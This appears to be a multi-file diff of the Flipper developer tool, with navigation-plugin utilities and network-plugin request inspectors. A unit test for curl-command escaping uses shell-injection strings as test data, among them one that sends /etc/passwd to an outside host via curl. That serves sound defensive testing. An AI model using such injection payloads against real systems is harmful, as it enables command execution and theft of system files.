onNavigate={this.navigateTo}
/>
<SaveBookmarkDialog
shouldShow={shouldShowSaveBookmarkDialog}
uri={saveBookmarkURI}
onHide={() => this.setState({shouldShowSaveBookmarkDialog: false})}
edit={
saveBookmarkURI != null ? bookmarks.has(saveBookmarkURI) : false
}
onSubmit={this.addBookmark}
onRemove={this.removeBookmark}
/>
<RequiredParametersDialog
shouldShow={shouldShowURIErrorDialog}
onHide={() => this.setState({shouldShowURIErrorDialog: false})}
uri={currentURI}
requiredParameters={requiredParameters}
onSubmit={this.navigateTo}
/>
</FlexColumn>
);
}
}
/* @scarf-info: do not remove, more info: https://fburl.com/scarf */
/* @scarf-generated: flipper-plugin index.js.template 0bfa32e5-fb15-4705-81f8-86260a1f3f8e */

View File

@@ -0,0 +1,12 @@
{
"name": "flipper-plugin-navigation",
"version": "0.0.1",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"title": "Navigation",
"icon": "directions",
"bugs": {
"email": "beneloca@fb.com"
}
}

View File

@@ -0,0 +1,54 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
export type URI = string;
export type State = {
shouldShowSaveBookmarkDialog: boolean;
shouldShowURIErrorDialog: boolean;
saveBookmarkURI: URI | null;
requiredParameters: Array<string>;
};
export type PersistedState = {
bookmarks: Map<URI, Bookmark>;
navigationEvents: Array<NavigationEvent>;
bookmarksProvider: AutoCompleteProvider;
appMatchPatterns: Array<AppMatchPattern>;
appMatchPatternsProvider: AutoCompleteProvider;
currentURI: string;
};
export type NavigationEvent = {
date: Date | null;
uri: URI | null;
className: string | null;
screenshot: string | null;
};
export type Bookmark = {
uri: URI;
commonName: string | null;
};
export type AutoCompleteProvider = {
icon: string;
matchPatterns: Map<string, URI>;
};
export type AutoCompleteLineItem = {
icon: string;
matchPattern: string;
uri: URI;
};
export type AppMatchPattern = {
className: string;
pattern: string;
};

View File

@@ -0,0 +1,52 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import fs from 'fs';
import path from 'path';
import {BaseDevice, AndroidDevice, IOSDevice} from 'flipper';
import {AppMatchPattern} from '../types';
const extractAppNameFromSelectedApp = (selectedApp: string | null) => {
if (selectedApp == null) {
return null;
} else {
return selectedApp.split('#')[0];
}
};
export const getAppMatchPatterns = (
selectedApp: string | null,
device: BaseDevice,
) => {
return new Promise<Array<AppMatchPattern>>((resolve, reject) => {
const appName = extractAppNameFromSelectedApp(selectedApp);
if (appName === 'Facebook') {
let filename: string;
if (device instanceof AndroidDevice) {
filename = 'facebook-match-patterns-android.json';
} else if (device instanceof IOSDevice) {
filename = 'facebook-match-patterns-ios.json';
} else {
return;
}
const patternsPath = path.join('facebook', filename);
fs.readFile(patternsPath, (err, data) => {
if (err) {
reject(err);
} else {
resolve(JSON.parse(data.toString()));
}
});
} else if (appName != null) {
reject(new Error('No rule for app ' + appName));
} else {
reject(new Error('selectedApp was null'));
}
});
};

View File

@@ -0,0 +1,103 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
URI,
Bookmark,
AutoCompleteProvider,
AutoCompleteLineItem,
AppMatchPattern,
} from '../types';
export function DefaultProvider(): AutoCompleteProvider {
return {
icon: 'caution',
matchPatterns: new Map<string, URI>(),
};
}
export const bookmarksToAutoCompleteProvider = (
bookmarks: Map<URI, Bookmark>,
) => {
const autoCompleteProvider = {
icon: 'bookmark',
matchPatterns: new Map<string, URI>(),
} as AutoCompleteProvider;
bookmarks.forEach((bookmark, uri) => {
const matchPattern = bookmark.commonName + ' - ' + uri;
autoCompleteProvider.matchPatterns.set(matchPattern, uri);
});
return autoCompleteProvider;
};
export const appMatchPatternsToAutoCompleteProvider = (
appMatchPatterns: Array<AppMatchPattern>,
) => {
const autoCompleteProvider = {
icon: 'mobile',
matchPatterns: new Map<string, URI>(),
};
appMatchPatterns.forEach(appMatchPattern => {
const matchPattern =
appMatchPattern.className + ' - ' + appMatchPattern.pattern;
autoCompleteProvider.matchPatterns.set(
matchPattern,
appMatchPattern.pattern,
);
});
return autoCompleteProvider;
};
export const filterMatchPatterns = (
matchPatterns: Map<string, URI>,
query: URI,
maxItems: number,
) => {
const filteredPatterns = new Map<string, URI>();
for (const [pattern, uri] of matchPatterns) {
if (filteredPatterns.size >= maxItems) {
break;
} else if (pattern.toLowerCase().includes(query.toLowerCase())) {
filteredPatterns.set(pattern, uri);
}
}
return filteredPatterns;
};
const filterProvider = (
provider: AutoCompleteProvider,
query: string,
maxItems: number,
) => {
return {
...provider,
matchPatterns: filterMatchPatterns(provider.matchPatterns, query, maxItems),
};
};
export const filterProvidersToLineItems = (
providers: Array<AutoCompleteProvider>,
query: string,
maxItems: number,
) => {
let itemsLeft = maxItems;
const lineItems = new Array<AutoCompleteLineItem>(0);
for (const provider of providers) {
const filteredProvider = filterProvider(provider, query, itemsLeft);
filteredProvider.matchPatterns.forEach((uri, matchPattern) => {
lineItems.push({
icon: provider.icon,
matchPattern,
uri,
});
});
itemsLeft -= filteredProvider.matchPatterns.size;
}
return lineItems;
};

View File

@@ -0,0 +1,104 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Bookmark} from '../types';
const FLIPPER_NAVIGATION_PLUGIN_DB = 'flipper_navigation_plugin_db';
const FLIPPER_NAVIGATION_PLUGIN_DB_VERSION = 1;
const BOOKMARKS_KEY = 'bookmarks';
const createBookmarksObjectStore = (db: IDBDatabase) => {
return new Promise<void>((resolve, reject) => {
if (!db.objectStoreNames.contains(BOOKMARKS_KEY)) {
const bookmarksObjectStore = db.createObjectStore(BOOKMARKS_KEY, {
keyPath: 'uri',
});
bookmarksObjectStore.transaction.oncomplete = () => resolve();
bookmarksObjectStore.transaction.onerror = () =>
reject(bookmarksObjectStore.transaction.error);
} else {
resolve();
}
});
};
const initializeNavigationPluginDB = (db: IDBDatabase) => {
return Promise.all([createBookmarksObjectStore(db)]);
};
const openNavigationPluginDB: () => Promise<IDBDatabase> = () => {
return new Promise((resolve, reject) => {
const openRequest = window.indexedDB.open(
FLIPPER_NAVIGATION_PLUGIN_DB,
FLIPPER_NAVIGATION_PLUGIN_DB_VERSION,
);
openRequest.onupgradeneeded = () => {
const db = openRequest.result;
initializeNavigationPluginDB(db).then(() => resolve(db));
};
openRequest.onerror = () => reject(openRequest.error);
openRequest.onsuccess = () => resolve(openRequest.result);
});
};
export const writeBookmarkToDB = (bookmark: Bookmark) => {
return new Promise((resolve, reject) => {
openNavigationPluginDB()
.then((db: IDBDatabase) => {
const bookmarksObjectStore = db
.transaction(BOOKMARKS_KEY, 'readwrite')
.objectStore(BOOKMARKS_KEY);
const request = bookmarksObjectStore.put(bookmark);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
})
.catch(reject);
});
};
export const readBookmarksFromDB: () => Promise<Map<string, Bookmark>> = () => {
return new Promise((resolve, reject) => {
const bookmarks = new Map();
openNavigationPluginDB()
.then((db: IDBDatabase) => {
const bookmarksObjectStore = db
.transaction(BOOKMARKS_KEY)
.objectStore(BOOKMARKS_KEY);
const request = bookmarksObjectStore.openCursor();
request.onsuccess = () => {
const cursor = request.result;
if (cursor) {
const bookmark = cursor.value;
bookmarks.set(bookmark.uri, bookmark);
cursor.continue();
} else {
resolve(bookmarks);
}
};
request.onerror = () => reject(request.error);
})
.catch(reject);
});
};
export const removeBookmark: (uri: string) => Promise<void> = uri => {
return new Promise<void>((resolve, reject) => {
openNavigationPluginDB()
.then((db: IDBDatabase) => {
const bookmarksObjectStore = db
.transaction(BOOKMARKS_KEY, 'readwrite')
.objectStore(BOOKMARKS_KEY);
const request = bookmarksObjectStore.delete(uri);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
})
.catch(reject);
});
};

View File

@@ -0,0 +1,94 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import querystring from 'querystring';
export const validateParameter = (value: string, parameter: string) => {
return (
value &&
(parameterIsNumberType(parameter) ? !isNaN(parseInt(value, 10)) : true) &&
(parameterIsBooleanType(parameter)
? value === 'true' || value === 'false'
: true)
);
};
export const filterOptionalParameters = (uri: string) => {
return uri.replace(/[/&]?([^&?={}\/]*=)?{\?.*?}/g, '');
};
export const parseURIParameters = (query: string) => {
// get parameters from query string and store in Map
const parameters = query
.split('?')
.splice(1)
.join('');
const parametersObj = querystring.parse(parameters);
const parametersMap = new Map<string, string>();
for (const key in parametersObj) {
parametersMap.set(key, parametersObj[key] as string);
}
return parametersMap;
};
export const parameterIsNumberType = (parameter: string) => {
const regExp = /^{(#|\?#)/g;
return regExp.test(parameter);
};
export const parameterIsBooleanType = (parameter: string) => {
const regExp = /^{(!|\?!)/g;
return regExp.test(parameter);
};
export const replaceRequiredParametersWithValues = (
uri: string,
values: Array<string>,
) => {
const parameterRegExp = /{[^?]*?}/g;
const replaceRegExp = /{[^?]*?}/;
let newURI = uri;
let index = 0;
let match = parameterRegExp.exec(uri);
while (match != null) {
newURI = newURI.replace(replaceRegExp, values[index]);
match = parameterRegExp.exec(uri);
index++;
}
return newURI;
};
export const getRequiredParameters = (uri: string) => {
const parameterRegExp = /{[^?]*?}/g;
const matches: Array<string> = [];
let match = parameterRegExp.exec(uri);
while (match != null) {
if (match[0]) {
matches.push(match[0]);
}
match = parameterRegExp.exec(uri);
}
return matches;
};
export const liveEdit = (uri: string, formValues: Array<string>) => {
const parameterRegExp = /({[^?]*?})/g;
const uriArray = uri.split(parameterRegExp);
return uriArray.reduce((acc, uriComponent, idx) => {
if (idx % 2 === 0 || !formValues[(idx - 1) / 2]) {
return acc + uriComponent;
} else {
return acc + formValues[(idx - 1) / 2];
}
});
};
export const stripQueryParameters = (uri: string) => {
return uri.replace(/\?.*$/g, '');
};

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,817 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Request, Response, Header, Insights, RetryInsights} from './types';
import {
Component,
FlexColumn,
ManagedTable,
ManagedDataInspector,
Text,
Panel,
Select,
styled,
colors,
} from 'flipper';
import {decodeBody, getHeaderValue} from './utils';
import {formatBytes} from './index';
import React from 'react';
import querystring from 'querystring';
import xmlBeautifier from 'xml-beautifier';
const WrappingText = styled(Text)({
wordWrap: 'break-word',
width: '100%',
lineHeight: '125%',
padding: '3px 0',
});
const KeyValueColumnSizes = {
key: '30%',
value: 'flex',
};
const KeyValueColumns = {
key: {
value: 'Key',
resizable: false,
},
value: {
value: 'Value',
resizable: false,
},
};
type RequestDetailsProps = {
request: Request;
response: Response | null | undefined;
};
type RequestDetailsState = {
bodyFormat: string;
};
export default class RequestDetails extends Component<
RequestDetailsProps,
RequestDetailsState
> {
static Container = styled(FlexColumn)({
height: '100%',
overflow: 'auto',
});
static BodyOptions = {
formatted: 'formatted',
parsed: 'parsed',
};
state: RequestDetailsState = {bodyFormat: RequestDetails.BodyOptions.parsed};
urlColumns = (url: URL) => {
return [
{
columns: {
key: {value: <WrappingText>Full URL</WrappingText>},
value: {
value: <WrappingText>{url.href}</WrappingText>,
},
},
copyText: url.href,
key: 'url',
},
{
columns: {
key: {value: <WrappingText>Host</WrappingText>},
value: {
value: <WrappingText>{url.host}</WrappingText>,
},
},
copyText: url.host,
key: 'host',
},
{
columns: {
key: {value: <WrappingText>Path</WrappingText>},
value: {
value: <WrappingText>{url.pathname}</WrappingText>,
},
},
copyText: url.pathname,
key: 'path',
},
{
columns: {
key: {value: <WrappingText>Query String</WrappingText>},
value: {
value: <WrappingText>{url.search}</WrappingText>,
},
},
copyText: url.search,
key: 'query',
},
];
};
onSelectFormat = (bodyFormat: string) => {
this.setState(() => ({bodyFormat}));
};
render() {
const {request, response} = this.props;
const url = new URL(request.url);
const {bodyFormat} = this.state;
const formattedText = bodyFormat == RequestDetails.BodyOptions.formatted;
return (
<RequestDetails.Container>
<Panel
key="request"
heading={'Request'}
floating={false}
padded={false}>
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={this.urlColumns(url)}
autoHeight={true}
floating={false}
zebra={false}
/>
</Panel>
{url.search ? (
<Panel
heading={'Request Query Parameters'}
floating={false}
padded={false}>
<QueryInspector queryParams={url.searchParams} />
</Panel>
) : null}
{request.headers.length > 0 ? (
<Panel
key="headers"
heading={'Request Headers'}
floating={false}
padded={false}>
<HeaderInspector headers={request.headers} />
</Panel>
) : null}
{request.data != null ? (
<Panel
key="requestData"
heading={'Request Body'}
floating={false}
padded={!formattedText}>
<RequestBodyInspector
formattedText={formattedText}
request={request}
/>
</Panel>
) : null}
{response ? (
<>
{response.headers.length > 0 ? (
<Panel
key={'responseheaders'}
heading={'Response Headers'}
floating={false}
padded={false}>
<HeaderInspector headers={response.headers} />
</Panel>
) : null}
<Panel
key={'responsebody'}
heading={'Response Body'}
floating={false}
padded={!formattedText}>
<ResponseBodyInspector
formattedText={formattedText}
request={request}
response={response}
/>
</Panel>
</>
) : null}
<Panel
key="options"
heading={'Options'}
floating={false}
collapsed={true}>
<Select
grow
label="Body"
selected={bodyFormat}
onChange={this.onSelectFormat}
options={RequestDetails.BodyOptions}
/>
</Panel>
{response && response.insights ? (
<Panel
key="insights"
heading={'Insights'}
floating={false}
collapsed={true}>
<InsightsInspector insights={response.insights} />
</Panel>
) : null}
</RequestDetails.Container>
);
}
}
class QueryInspector extends Component<{queryParams: URLSearchParams}> {
render() {
const {queryParams} = this.props;
const rows: any = [];
queryParams.forEach((value: string, key: string) => {
rows.push({
columns: {
key: {
value: <WrappingText>{key}</WrappingText>,
},
value: {
value: <WrappingText>{value}</WrappingText>,
},
},
copyText: value,
key: key,
});
});
return rows.length > 0 ? (
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={rows}
autoHeight={true}
floating={false}
zebra={false}
/>
) : null;
}
}
type HeaderInspectorProps = {
headers: Array<Header>;
};
type HeaderInspectorState = {
computedHeaders: Object;
};
class HeaderInspector extends Component<
HeaderInspectorProps,
HeaderInspectorState
> {
render() {
const computedHeaders: Map<string, string> = this.props.headers.reduce(
(sum, header) => {
return sum.set(header.key, header.value);
},
new Map(),
);
const rows: any = [];
computedHeaders.forEach((value: string, key: string) => {
rows.push({
columns: {
key: {
value: <WrappingText>{key}</WrappingText>,
},
value: {
value: <WrappingText>{value}</WrappingText>,
},
},
copyText: value,
key,
});
});
return rows.length > 0 ? (
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={rows}
autoHeight={true}
floating={false}
zebra={false}
/>
) : null;
}
}
const BodyContainer = styled.div({
paddingTop: 10,
paddingBottom: 20,
});
type BodyFormatter = {
formatRequest?: (request: Request) => any;
formatResponse?: (request: Request, response: Response) => any;
};
class RequestBodyInspector extends Component<{
request: Request;
formattedText: boolean;
}> {
render() {
const {request, formattedText} = this.props;
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
let component;
for (const formatter of bodyFormatters) {
if (formatter.formatRequest) {
try {
component = formatter.formatRequest(request);
if (component) {
break;
}
} catch (e) {
console.warn(
'BodyFormatter exception from ' + formatter.constructor.name,
e.message,
);
}
}
}
component = component || <Text>{decodeBody(request)}</Text>;
return <BodyContainer>{component}</BodyContainer>;
}
}
class ResponseBodyInspector extends Component<{
response: Response;
request: Request;
formattedText: boolean;
}> {
render() {
const {request, response, formattedText} = this.props;
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
let component;
for (const formatter of bodyFormatters) {
if (formatter.formatResponse) {
try {
component = formatter.formatResponse(request, response);
if (component) {
break;
}
} catch (e) {
console.warn(
'BodyFormatter exception from ' + formatter.constructor.name,
e.message,
);
}
}
}
component = component || <Text>{decodeBody(response)}</Text>;
return <BodyContainer>{component}</BodyContainer>;
}
}
const MediaContainer = styled(FlexColumn)({
alignItems: 'center',
justifyContent: 'center',
width: '100%',
});
type ImageWithSizeProps = {
src: string;
};
type ImageWithSizeState = {
width: number;
height: number;
};
class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
static Image = styled.img({
objectFit: 'scale-down',
maxWidth: '100%',
marginBottom: 10,
});
static Text = styled(Text)({
color: colors.dark70,
fontSize: 14,
});
constructor(props: ImageWithSizeProps, context: any) {
super(props, context);
this.state = {
width: 0,
height: 0,
};
}
componentDidMount() {
const image = new Image();
image.src = this.props.src;
image.onload = () => {
image.width;
image.height;
this.setState({
width: image.width,
height: image.height,
});
};
}
render() {
return (
<MediaContainer>
<ImageWithSize.Image src={this.props.src} />
<ImageWithSize.Text>
{this.state.width} x {this.state.height}
</ImageWithSize.Text>
</MediaContainer>
);
}
}
class ImageFormatter {
formatResponse = (request: Request, response: Response) => {
if (getHeaderValue(response.headers, 'content-type').startsWith('image')) {
return <ImageWithSize src={request.url} />;
}
};
}
class VideoFormatter {
static Video = styled.video({
maxWidth: 500,
maxHeight: 500,
});
formatResponse = (request: Request, response: Response) => {
const contentType = getHeaderValue(response.headers, 'content-type');
if (contentType.startsWith('video')) {
return (
<MediaContainer>
<VideoFormatter.Video controls={true}>
<source src={request.url} type={contentType} />
</VideoFormatter.Video>
</MediaContainer>
);
}
};
}
class JSONText extends Component<{children: any}> {
static NoScrollbarText = styled(Text)({
overflowY: 'hidden',
});
render() {
const jsonObject = this.props.children;
return (
<JSONText.NoScrollbarText code whiteSpace="pre" selectable>
{JSON.stringify(jsonObject, null, 2)}
{'\n'}
</JSONText.NoScrollbarText>
);
}
}
class XMLText extends Component<{body: any}> {
static NoScrollbarText = styled(Text)({
overflowY: 'hidden',
});
render() {
const xmlPretty = xmlBeautifier(this.props.body);
return (
<XMLText.NoScrollbarText code whiteSpace="pre" selectable>
{xmlPretty}
{'\n'}
</XMLText.NoScrollbarText>
);
}
}
class JSONTextFormatter {
formatRequest = (request: Request) => {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
);
};
formatResponse = (request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
contentType.startsWith('text/javascript') ||
contentType.startsWith('application/x-fb-flatbuffer')
) {
try {
const data = JSON.parse(body);
return <JSONText>{data}</JSONText>;
} catch (SyntaxError) {
// Multiple top level JSON roots, map them one by one
return body
.split('\n')
.map(json => JSON.parse(json))
.map(data => <JSONText>{data}</JSONText>);
}
}
};
}
class XMLTextFormatter {
formatRequest = (request: Request) => {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
);
};
formatResponse = (request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (contentType.startsWith('text/html')) {
return <XMLText body={body} />;
}
};
}
class JSONFormatter {
formatRequest = (request: Request) => {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
);
};
formatResponse = (request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
contentType.startsWith('text/javascript') ||
contentType.startsWith('application/x-fb-flatbuffer')
) {
try {
const data = JSON.parse(body);
return (
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={data}
/>
);
} catch (SyntaxError) {
// Multiple top level JSON roots, map them one by one
const roots = body.split('\n');
return (
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={roots.map(json => JSON.parse(json))}
/>
);
}
}
};
}
class LogEventFormatter {
formatRequest = (request: Request) => {
if (request.url.indexOf('logging_client_event') > 0) {
const data = querystring.parse(decodeBody(request));
if (typeof data.message === 'string') {
data.message = JSON.parse(data.message);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
class GraphQLBatchFormatter {
formatRequest = (request: Request) => {
if (request.url.indexOf('graphqlbatch') > 0) {
const data = querystring.parse(decodeBody(request));
if (typeof data.queries === 'string') {
data.queries = JSON.parse(data.queries);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
class GraphQLFormatter {
parsedServerTimeForFirstFlush = (data: any) => {
const firstResponse =
Array.isArray(data) && data.length > 0 ? data[0] : data;
if (!firstResponse) {
return null;
}
const extensions = firstResponse['extensions'];
if (!extensions) {
return null;
}
const serverMetadata = extensions['server_metadata'];
if (!serverMetadata) {
return null;
}
const requestStartMs = serverMetadata['request_start_time_ms'];
const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
return (
<WrappingText>
{'Server wall time for initial response (ms): ' +
(timeAtFlushMs - requestStartMs)}
</WrappingText>
);
};
formatRequest = (request: Request) => {
if (request.url.indexOf('graphql') > 0) {
const data = querystring.parse(decodeBody(request));
if (typeof data.variables === 'string') {
data.variables = JSON.parse(data.variables);
}
if (typeof data.query_params === 'string') {
data.query_params = JSON.parse(data.query_params);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
formatResponse = (request: Request, response: Response) => {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
);
};
format = (body: string, contentType: string) => {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
contentType.startsWith('text/javascript') ||
contentType.startsWith('text/html') ||
contentType.startsWith('application/x-fb-flatbuffer')
) {
try {
const data = JSON.parse(body);
return (
<div>
{this.parsedServerTimeForFirstFlush(data)}
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={data}
/>
</div>
);
} catch (SyntaxError) {
// Multiple top level JSON roots, map them one by one
const parsedResponses = body
.replace(/}{/g, '}\r\n{')
.split('\n')
.map(json => JSON.parse(json));
return (
<div>
{this.parsedServerTimeForFirstFlush(parsedResponses)}
<ManagedDataInspector
collapsed={true}
expandRoot={true}
data={parsedResponses}
/>
</div>
);
}
}
};
}
class FormUrlencodedFormatter {
formatRequest = (request: Request) => {
const contentType = getHeaderValue(request.headers, 'content-type');
if (contentType.startsWith('application/x-www-form-urlencoded')) {
return (
<ManagedDataInspector
expandRoot={true}
data={querystring.parse(decodeBody(request))}
/>
);
}
};
}
const BodyFormatters: Array<BodyFormatter> = [
new ImageFormatter(),
new VideoFormatter(),
new LogEventFormatter(),
new GraphQLBatchFormatter(),
new GraphQLFormatter(),
new JSONFormatter(),
new FormUrlencodedFormatter(),
new XMLTextFormatter(),
];
const TextBodyFormatters: Array<BodyFormatter> = [new JSONTextFormatter()];
class InsightsInspector extends Component<{insights: Insights}> {
formatTime(value: number): string {
return `${value} ms`;
}
formatSpeed(value: number): string {
return `${formatBytes(value)}/sec`;
}
formatRetries(retry: RetryInsights): string {
const timesWord = retry.limit === 1 ? 'time' : 'times';
return `${this.formatTime(retry.timeSpent)} (${
retry.count
} ${timesWord} out of ${retry.limit})`;
}
buildRow<T>(
name: string,
value: T | null | undefined,
formatter: (value: T) => string,
): any {
return value
? {
columns: {
key: {
value: <WrappingText>{name}</WrappingText>,
},
value: {
value: <WrappingText>{formatter(value)}</WrappingText>,
},
},
copyText: `${name}: ${formatter(value)}`,
key: name,
}
: null;
}
render() {
const insights = this.props.insights;
const {buildRow, formatTime, formatSpeed, formatRetries} = this;
const rows = [
buildRow('Retries', insights.retries, formatRetries.bind(this)),
buildRow('DNS lookup time', insights.dnsLookupTime, formatTime),
buildRow('Connect time', insights.connectTime, formatTime),
buildRow('SSL handshake time', insights.sslHandshakeTime, formatTime),
buildRow('Pretransfer time', insights.preTransferTime, formatTime),
buildRow('Redirect time', insights.redirectsTime, formatTime),
buildRow('First byte wait time', insights.timeToFirstByte, formatTime),
buildRow('Data transfer time', insights.transferTime, formatTime),
buildRow('Post processing time', insights.postProcessingTime, formatTime),
buildRow('Bytes transfered', insights.bytesTransfered, formatBytes),
buildRow('Transfer speed', insights.transferSpeed, formatSpeed),
].filter(r => r != null);
return rows.length > 0 ? (
<ManagedTable
multiline={true}
columnSizes={KeyValueColumnSizes}
columns={KeyValueColumns}
rows={rows}
autoHeight={true}
floating={false}
zebra={false}
/>
) : null;
}
}

View File

@@ -0,0 +1,147 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {convertRequestToCurlCommand} from '../utils';
import {Request} from '../types';
test('convertRequestToCurlCommand: simple GET', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: null,
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
});
test('convertRequestToCurlCommand: simple POST', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=data&other=param'),
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST data', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=!!'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
);
});
test('convertRequestToCurlCommand: control characters', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
);
});

View File

@@ -0,0 +1,595 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {TableHighlightedRows, TableRows, TableBodyRow} from 'flipper';
import {padStart} from 'lodash';
import React from 'react';
import {MenuItemConstructorOptions} from 'electron';
import {
ContextMenu,
FlexColumn,
Button,
Text,
Glyph,
colors,
PureComponent,
DetailSidebar,
styled,
SearchableTable,
FlipperPlugin,
} from 'flipper';
import {Request, RequestId, Response} from './types';
import {convertRequestToCurlCommand, getHeaderValue, decodeBody} from './utils';
import RequestDetails from './RequestDetails';
import {clipboard} from 'electron';
import {URL} from 'url';
import {DefaultKeyboardAction} from 'src/MenuBar';
type PersistedState = {
requests: {[id: string]: Request};
responses: {[id: string]: Response};
};
type State = {
selectedIds: Array<RequestId>;
searchTerm: string;
};
const COLUMN_SIZE = {
requestTimestamp: 100,
responseTimestamp: 100,
domain: 'flex',
method: 100,
status: 70,
size: 100,
duration: 100,
};
const COLUMN_ORDER = [
{key: 'requestTimestamp', visible: true},
{key: 'responseTimestamp', visible: false},
{key: 'domain', visible: true},
{key: 'method', visible: true},
{key: 'status', visible: true},
{key: 'size', visible: true},
{key: 'duration', visible: true},
];
const COLUMNS = {
requestTimestamp: {value: 'Request Time'},
responseTimestamp: {value: 'Response Time'},
domain: {value: 'Domain'},
method: {value: 'Method'},
status: {value: 'Status'},
size: {value: 'Size'},
duration: {value: 'Duration'},
};
export function formatBytes(count: number): string {
if (count > 1024 * 1024) {
return (count / (1024.0 * 1024)).toFixed(1) + ' MB';
}
if (count > 1024) {
return (count / 1024.0).toFixed(1) + ' kB';
